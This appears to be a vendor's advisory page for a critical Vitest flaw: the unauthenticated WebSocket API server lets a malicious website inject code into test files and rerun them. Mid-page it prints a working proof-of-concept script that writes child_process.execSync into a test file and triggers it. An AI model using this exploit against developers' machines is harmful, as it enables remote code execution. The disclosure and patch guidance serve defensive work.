GHSA-9crc-q9x8-hgqq is a critical-severity (CVSS 9.6) CWE-1385 vulnerability in vitest. A fix is available for vitest — see the affected versions and patch details below.
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9crc-q9x8-hgqq.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9crc-q9x8-hgqq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vitestnpmDescription
Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
Details
When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
PoC
- Open Vitest UI.
- Access a malicious web site with the script below.
- If you have
calcexecutable inPATHenv var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vitest | ≥ 1.0.0&&< 1.6.1 | 1.6.1npm install vitest@1.6.1 |
| 📦npm | vitest | ≥ 2.0.0&&< 2.1.9 | 2.1.9npm install vitest@2.1.9 |
| 📦npm | vitest | ≥ 3.0.0&&< 3.0.5 | 3.0.5npm install vitest@3.0.5 |
| 📦npm | vitest | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vitest, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vitest to 1.6.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9crc-q9x8-hgqq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9crc-q9x8-hgqq can be triaged on real exposure rather than presence alone.
Tailored to GHSA-9crc-q9x8-hgqq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9crc-q9x8-hgqq in your dependencies?
O3 Security finds GHSA-9crc-q9x8-hgqq across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.